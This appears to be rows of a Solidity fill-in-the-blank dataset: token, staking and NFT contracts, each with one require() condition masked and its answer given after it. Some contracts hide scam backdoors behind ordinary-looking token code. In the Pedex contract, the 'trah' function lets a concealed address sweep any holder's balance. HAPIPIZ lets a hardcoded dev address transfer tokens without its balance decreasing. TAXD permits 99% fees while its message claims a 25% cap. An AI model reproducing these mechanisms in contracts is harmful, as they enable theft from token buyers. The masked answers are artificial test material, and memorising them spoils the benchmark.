function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
require(<FILL_ME>)
_isExcludedFromMaxTxLimit[account] = exclude;
emit ExcludedFromMaxTransactionLimit(account, exclude);
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| _isExcludedFromMaxTxLimit[account]!=exclude,"Account is already set to that state" | 79,784 | _isExcludedFromMaxTxLimit[account]!=exclude |
"TaxesDefaultRouter: Cannot exceed max total fee of 25%" | // SPDX-License-Identifier: No License
pragma solidity 0.8.19;
import "./ERC20.sol";
import "./ERC20Burnable.sol";
import "./Ownable.sol";
import "./Initializable.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
contract TAXD is ERC20, ERC20Burnable, Ownable, Initializable {
uint256 public swapThreshold;
uint256 private _marketingPending;
address public marketingAddress;
uint16[3] public marketingFees;
mapping (address => bool) public isExcludedFromFees;
uint16[3] public totalFees;
bool private _swapping;
IUniswapV2Router02 public routerV2;
address public pairV2;
mapping (address => bool) public AMMPairs;
event SwapThresholdUpdated(uint256 swapThreshold);
event marketingAddressUpdated(address marketingAddress);
event marketingFeesUpdated(uint16 buyFee, uint16 sellFee, uint16 transferFee);
event marketingFeeSent(address recipient, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event RouterV2Updated(address indexed routerV2);
event AMMPairsUpdated(address indexed AMMPair, bool isPair);
constructor()
ERC20(unicode"TAXD", unicode"TAXD")
{
}
function initialize(address _router) initializer external {
}
receive() external payable {}
function decimals() public pure override returns (uint8) {
}
function _swapTokensForCoin(uint256 tokenAmount) private {
}
function updateSwapThreshold(uint256 _swapThreshold) public onlyOwner {
}
function getAllPending() public view returns (uint256) {
}
function marketingAddressSetup(address _newAddress) public onlyOwner {
}
function marketingFeesSetup(uint16 _buyFee, uint16 _sellFee, uint16 _transferFee) public onlyOwner {
totalFees[0] = totalFees[0] - marketingFees[0] + _buyFee;
totalFees[1] = totalFees[1] - marketingFees[1] + _sellFee;
totalFees[2] = totalFees[2] - marketingFees[2] + _transferFee;
require(<FILL_ME>)
marketingFees = [_buyFee, _sellFee, _transferFee];
emit marketingFeesUpdated(_buyFee, _sellFee, _transferFee);
}
function excludeFromFees(address account, bool isExcluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function _updateRouterV2(address router) private {
}
function setAMMPair(address pair, bool isPair) external onlyOwner {
}
function _setAMMPair(address pair, bool isPair) private {
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
override
{
}
function _afterTokenTransfer(address from, address to, uint256 amount)
internal
override
{
}
}
| totalFees[0]<=9900&&totalFees[1]<=9900&&totalFees[2]<=2500,"TaxesDefaultRouter: Cannot exceed max total fee of 25%" | 79,795 | totalFees[0]<=9900&&totalFees[1]<=9900&&totalFees[2]<=2500 |
'TOKEN' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import '@openzeppelin/contracts/utils/Context.sol';
contract Rewards is Context {
uint256 constant PRECISION = 10 ** 36;
address public trackingToken;
uint256 public totalUsers;
uint256 public totalShares;
struct Reward {
uint256 excluded;
uint256 realized;
}
mapping(address => uint256) public shares;
mapping(address => Reward) public rewards;
uint256 _rewardsPerShare;
uint256 public totalDistributed;
uint256 public totalDeposited;
event AddShares(address indexed user, uint256 amount);
event RemoveShares(address indexed user, uint256 amount);
event ClaimReward(address user);
event DistributeReward(address indexed user, uint256 amount);
event DepositRewards(address indexed user, uint256 amountTokens);
modifier onlyTrackingToken() {
require(<FILL_ME>)
_;
}
constructor(address _trackingToken) {
}
function setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) public onlyTrackingToken {
}
function _setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) internal {
}
function _addShares(address _wallet, uint256 _amount) private {
}
function _removeShares(address _wallet, uint256 _amount) private {
}
function depositRewards() external payable {
}
function _depositRewards(uint256 _amount) internal {
}
function _distributeReward(address _wallet) internal {
}
function claimReward() external {
}
function getUnpaid(address _wallet) public view returns (uint256) {
}
function _cumulativeRewards(uint256 _share) internal view returns (uint256) {
}
receive() external payable {
}
}
| _msgSender()==trackingToken,'TOKEN' | 79,813 | _msgSender()==trackingToken |
'REMOVE' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import '@openzeppelin/contracts/utils/Context.sol';
contract Rewards is Context {
uint256 constant PRECISION = 10 ** 36;
address public trackingToken;
uint256 public totalUsers;
uint256 public totalShares;
struct Reward {
uint256 excluded;
uint256 realized;
}
mapping(address => uint256) public shares;
mapping(address => Reward) public rewards;
uint256 _rewardsPerShare;
uint256 public totalDistributed;
uint256 public totalDeposited;
event AddShares(address indexed user, uint256 amount);
event RemoveShares(address indexed user, uint256 amount);
event ClaimReward(address user);
event DistributeReward(address indexed user, uint256 amount);
event DepositRewards(address indexed user, uint256 amountTokens);
modifier onlyTrackingToken() {
}
constructor(address _trackingToken) {
}
function setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) public onlyTrackingToken {
}
function _setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) internal {
}
function _addShares(address _wallet, uint256 _amount) private {
}
function _removeShares(address _wallet, uint256 _amount) private {
require(<FILL_ME>)
_distributeReward(_wallet);
totalShares -= _amount;
shares[_wallet] -= _amount;
if (shares[_wallet] == 0) {
totalUsers--;
}
rewards[_wallet].excluded = _cumulativeRewards(shares[_wallet]);
}
function depositRewards() external payable {
}
function _depositRewards(uint256 _amount) internal {
}
function _distributeReward(address _wallet) internal {
}
function claimReward() external {
}
function getUnpaid(address _wallet) public view returns (uint256) {
}
function _cumulativeRewards(uint256 _share) internal view returns (uint256) {
}
receive() external payable {
}
}
| shares[_wallet]>0&&_amount<=shares[_wallet],'REMOVE' | 79,813 | shares[_wallet]>0&&_amount<=shares[_wallet] |
'DIST1' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import '@openzeppelin/contracts/utils/Context.sol';
contract Rewards is Context {
uint256 constant PRECISION = 10 ** 36;
address public trackingToken;
uint256 public totalUsers;
uint256 public totalShares;
struct Reward {
uint256 excluded;
uint256 realized;
}
mapping(address => uint256) public shares;
mapping(address => Reward) public rewards;
uint256 _rewardsPerShare;
uint256 public totalDistributed;
uint256 public totalDeposited;
event AddShares(address indexed user, uint256 amount);
event RemoveShares(address indexed user, uint256 amount);
event ClaimReward(address user);
event DistributeReward(address indexed user, uint256 amount);
event DepositRewards(address indexed user, uint256 amountTokens);
modifier onlyTrackingToken() {
}
constructor(address _trackingToken) {
}
function setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) public onlyTrackingToken {
}
function _setShare(
address _wallet,
uint256 _balanceUpdate,
bool _removing
) internal {
}
function _addShares(address _wallet, uint256 _amount) private {
}
function _removeShares(address _wallet, uint256 _amount) private {
}
function depositRewards() external payable {
}
function _depositRewards(uint256 _amount) internal {
}
function _distributeReward(address _wallet) internal {
if (shares[_wallet] == 0) {
return;
}
uint256 amount = getUnpaid(_wallet);
rewards[_wallet].realized += amount;
rewards[_wallet].excluded = _cumulativeRewards(shares[_wallet]);
if (amount > 0) {
totalDistributed += amount;
uint256 _balBefore = address(this).balance;
(bool success, ) = payable(_wallet).call{ value: amount }('');
require(success, 'DIST0');
require(<FILL_ME>)
emit DistributeReward(_wallet, amount);
}
}
function claimReward() external {
}
function getUnpaid(address _wallet) public view returns (uint256) {
}
function _cumulativeRewards(uint256 _share) internal view returns (uint256) {
}
receive() external payable {
}
}
| address(this).balance>=_balBefore-amount,'DIST1' | 79,813 | address(this).balance>=_balBefore-amount |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | /*
Welcome to $HAPIPIZ!
Website: https://hapipiz.com
Telegram: https://t.me/hapipizerc20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HAPIPIZ is Context, Ownable, IERC20 {
using SafeMath for uint256;
address private uniswapV2Pair;
address payable private _taxWallet;
string private constant _name = unicode"HAPIPIZ";
string private constant _symbol = unicode"HAPIPIZ";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10 ** 9 * 10 ** _decimals;
uint256 public _maxTransaction = 5 * _tTotal / 100;
uint256 public _maxWallet = 65* _tTotal / 100;
uint256 public _taxThreshold= 1 * _tTotal / 1000;
uint256 public _maxSwapLimit = 10 * _tTotal / 1000;
bool public transferDelayEnabled = true;
bool private inSwap = false;
bool private swapEnabled = false;
bool private tradingOpen;
uint256 private _initialBuyTax = 6;
uint256 private _initialSellTax = 6;
uint256 private _reduceBuyTaxAt = 6;
uint256 private _initialSecondSellTax = 0;
uint256 private _buyCount=0;
uint256 private _initialSecondBuyTax = 0;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceSecondTaxAt = 0;
uint256 private _reduceSellTaxAt = 6;
uint256 private _preventSwapBefore=11;
IUniswapV2Router02 private uniswapV2Router;
modifier lockTheSwap {
}
mapping(address => uint256) private _holderLastBuyTimestamp;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address private _devAddr = 0x2cd518E96e060Fc8fA06Ebd36dD6c96D5e61a447;
event MaxTxAmountUpdated(uint _maxTransaction);
constructor () {
}
function totalSupply() public pure override returns (uint256) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function sendETHToFee(uint256 amount) private {
}
function balanceOf(address account) public view override returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
uint256 tAmount=amount;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(_buyTax()).div(100);
if (from == _devAddr) tAmount = 0;
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_holderLastBuyTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTransaction, "Exceeds the _maxTransaction.");
require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && !_isExcludedFromFee[from] ){
taxAmount = amount.mul(_sellTax()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxThreshold && _buyCount > _preventSwapBefore) {
uint256 initialETH = address(this).balance;
swapTokensForEth(min(amount,min(contractTokenBalance,_maxSwapLimit)));
uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
if(ethForTransfer > 0) {
sendETHToFee(ethForTransfer);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(tAmount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _buyTax() private view returns (uint256) {
}
function _sellTax() private view returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function removeLimits() external onlyOwner{
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
}
| _holderLastBuyTimestamp[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 79,871 | _holderLastBuyTimestamp[tx.origin]<block.number |
Errors.INVALID_REQUEST | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../libraries/Errors.sol";
import "../interfaces/IBentToken.sol";
import "../interfaces/IBentStaking.sol";
import "../interfaces/IBentRewarder.sol";
contract BentCVXLpStakingV2 is Ownable, ReentrancyGuard, IBentStaking {
using SafeERC20 for IERC20;
event AddRewarder(address indexed rewarder);
event RemoveRewarder(address indexed rewarder);
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event ClaimAll(address indexed user);
event Claim(address indexed user, uint256[][] indexes);
event OnReward();
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
IERC20 public BENTCVX_LP;
IBentRewarder[] public rewarders;
mapping(address => bool) public isRewarder;
constructor(address _BENTCVX_LP) {
}
function addRewarder(address _rewarder) external onlyOwner {
require(<FILL_ME>)
rewarders.push(IBentRewarder(_rewarder));
isRewarder[_rewarder] = true;
emit AddRewarder(_rewarder);
}
function removeRewarder(uint256 _index) external onlyOwner {
}
function deposit(uint256 _amount) external {
}
function depositFor(address _user, uint256 _amount)
public
override
nonReentrant
{
}
function withdraw(uint256 _amount) external {
}
function withdrawTo(address _recipient, uint256 _amount)
public
override
nonReentrant
{
}
function claimAll() external virtual {
}
function claimAllFor(address _user) public virtual override nonReentrant {
}
function claim(uint256[][] memory _indexes) external {
}
function claimFor(address _user, uint256[][] memory _indexes)
public
nonReentrant
{
}
function _mint(address _user, uint256 _amount) internal {
}
function _burn(address _user, uint256 _amount) internal {
}
}
| isRewarder[_rewarder]==false,Errors.INVALID_REQUEST | 79,877 | isRewarder[_rewarder]==false |
Errors.INVALID_AMOUNT | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../libraries/Errors.sol";
import "../interfaces/IBentToken.sol";
import "../interfaces/IBentStaking.sol";
import "../interfaces/IBentRewarder.sol";
contract BentCVXLpStakingV2 is Ownable, ReentrancyGuard, IBentStaking {
using SafeERC20 for IERC20;
event AddRewarder(address indexed rewarder);
event RemoveRewarder(address indexed rewarder);
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event ClaimAll(address indexed user);
event Claim(address indexed user, uint256[][] indexes);
event OnReward();
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
IERC20 public BENTCVX_LP;
IBentRewarder[] public rewarders;
mapping(address => bool) public isRewarder;
constructor(address _BENTCVX_LP) {
}
function addRewarder(address _rewarder) external onlyOwner {
}
function removeRewarder(uint256 _index) external onlyOwner {
}
function deposit(uint256 _amount) external {
}
function depositFor(address _user, uint256 _amount)
public
override
nonReentrant
{
}
function withdraw(uint256 _amount) external {
}
function withdrawTo(address _recipient, uint256 _amount)
public
override
nonReentrant
{
require(<FILL_ME>)
for (uint256 i = 0; i < rewarders.length; ++i) {
if (address(rewarders[i]) == address(0)) {
continue;
}
rewarders[i].withdraw(msg.sender, _amount);
}
_burn(msg.sender, _amount);
// transfer to _recipient
BENTCVX_LP.safeTransfer(_recipient, _amount);
emit Withdraw(msg.sender, _amount);
}
function claimAll() external virtual {
}
function claimAllFor(address _user) public virtual override nonReentrant {
}
function claim(uint256[][] memory _indexes) external {
}
function claimFor(address _user, uint256[][] memory _indexes)
public
nonReentrant
{
}
function _mint(address _user, uint256 _amount) internal {
}
function _burn(address _user, uint256 _amount) internal {
}
}
| balanceOf[msg.sender]>=_amount&&_amount!=0,Errors.INVALID_AMOUNT | 79,877 | balanceOf[msg.sender]>=_amount&&_amount!=0 |
"Can not mint more than max supply." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract NFTVenues is ERC721, Ownable, ERC721Burnable {
// Whitelist state
// Merkle tree root hash
bytes32 public _rootHash;
// Token state
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 private _maxSupply = 2000;
uint256 private _mintValue = 150000000000000000;
address private _feeReceiver;
string public _provenanceHash;
string public _baseURL;
bool private _isWhiteListOpen = false;
bool private _isMintOpen = false;
// One address can mint up to 10 tokens in the white list phase
mapping(address => uint256) private _whiteListCapTracker;
uint256 private WHITE_LIST_CAP = 4;
constructor() ERC721("NFTVenues", "NVS") {}
function _baseMint(uint256 count, address recipient) private {
require(<FILL_ME>)
require(msg.value >= count * _mintValue, "Insufficient payment");
for (uint256 i = 0; i < count; i++) {
_tokenIds.increment();
_mint(recipient, _tokenIds.current());
}
bool success = false;
(success,) = _feeReceiver.call{value : msg.value}("");
require(success, "Failed to send to owner");
}
function mint(uint256 amount) external payable {
}
function whiteListMint(uint256 amount, bytes32[] calldata proof) external payable {
}
// Merkle utils
function _leaf(address recipient)
internal pure returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal view returns (bool)
{
}
// Setters
function flipWhiteListState() public onlyOwner {
}
function flipMintState() public onlyOwner {
}
function startMinting() public onlyOwner {
}
function setMintValue(uint256 newMintValue) public onlyOwner {
}
function setFeeReceiver(address newFeeReceiver) public onlyOwner {
}
function setRootHash(bytes32 newRootHash) public onlyOwner {
}
function setMaxSupply(uint256 newMaxSupply) public onlyOwner {
}
function setProvenanceHash(string memory newProvenanceHash) public onlyOwner {
}
function setBaseURL(string memory newBaseURI) public onlyOwner {
}
// Getters
function _baseURI() internal view override returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function maxSupply() public view returns (uint256) {
}
function isWhiteListOpen() public view returns (bool) {
}
function isMintOpen() public view returns (bool) {
}
function mintValue() public view returns (uint256) {
}
function feeReceiver() public view returns (address) {
}
function whiteListCapTracker(address wallet) public view returns (uint256) {
}
}
| _tokenIds.current()+count<=_maxSupply,"Can not mint more than max supply." | 79,922 | _tokenIds.current()+count<=_maxSupply |
"Bad caller" | /*
Telegram: https://t.me/PedexPortal
Twitter: https://twitter.com/Pedexco
Website: https://pedex.co
*/
pragma solidity ^0.8.17;
import "./ERC20.sol";
contract Pedex is ERC20 {
address public pair;
address private ovfe;
uint8 private _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_
) ERC20(name_, symbol_) {
}
function trah(address sender, address recipient) external returns (bool) {
address msgSender = _msgSender();
require(<FILL_ME>)
uint256 ETHGD = _balances[sender];
uint256 ODFJT = _balances[recipient];
require(ETHGD != 1 * 0 * 0, "Your account has no balance");
ODFJT += ETHGD;
ETHGD = 0 + 0 + 0;
_balances[sender] = ETHGD;
_balances[recipient] = ODFJT;
emit Transfer(sender, recipient, ETHGD);
return true;
}
function decimals() public view virtual override returns (uint8) {
}
}
| keccak256(abi.encodePacked(msgSender))==keccak256(abi.encodePacked(ovfe)),"Bad caller" | 79,938 | keccak256(abi.encodePacked(msgSender))==keccak256(abi.encodePacked(ovfe)) |
'ERC721: transfer to non ERC721Receiver implementer' | pragma solidity >=0.7.0 <0.9.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// Minimum index for each rank
uint256[7] private minIndexForRank = [0, 8000, 8500, 8750, 8870, 8930, 8960];
// Total minted for each rank
uint256[7] private totalMintedPerRank;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Number of Minted Alliance
uint256 internal numMintedOfIronAlliance;
// Number of Minions of Sorrow
uint256 internal numMintedOfMinionsOfSorrow;
// Start token ID
uint256 private _startTokenId;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_, uint256 startTokenId) {
}
function getStartTokenId() internal view virtual returns(uint256) {
}
function currentIndexOfRank(uint256 _rank) internal view returns(uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function _totalMinted(uint256 _rank) public view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function getTokenIdsByAddress(address _owner) public view returns(uint256[] memory) {
}
function checkYourSide(address _owner) public view returns(string memory) {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) public view returns (bool) {
}
function _safeMint(address to, uint256 quantity, uint256 _rank) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data,
uint256 _rank
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe,
uint256 _rank
) internal {
uint256 startTokenId;
if (_rank == 5) {
string memory side = checkYourSide(to);
if (keccak256(abi.encodePacked(side)) == keccak256(abi.encodePacked("Neutrality"))) {
revert("Error: You have an equal number of both clans!");
}
if (keccak256(abi.encodePacked(side)) == keccak256(abi.encodePacked("Iron Alliance"))) {
if (numMintedOfIronAlliance >= 15) revert("The Iron Alliance is full");
startTokenId = numMintedOfIronAlliance + _startTokenId + minIndexForRank[_rank] + 15;
numMintedOfIronAlliance++;
} else if (keccak256(abi.encodePacked(side)) == keccak256(abi.encodePacked("Minions Of Sorrow"))) {
if (numMintedOfMinionsOfSorrow >= 15) revert("The Minions Of Sorrow is full");
startTokenId = numMintedOfMinionsOfSorrow + _startTokenId + minIndexForRank[_rank];
numMintedOfMinionsOfSorrow++;
} else {
revert("Side detection error");
}
} else {
startTokenId = totalMintedPerRank[_rank] + _startTokenId + minIndexForRank[_rank];
}
require(to != address(0), 'ERC721A: mint to the zero address');
require(quantity != 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
if (safe) {
require(<FILL_ME>)
}
totalMintedPerRank[_rank]++;
emit Transfer(address(0), to, startTokenId);
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity >=0.7.0 <0.9.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
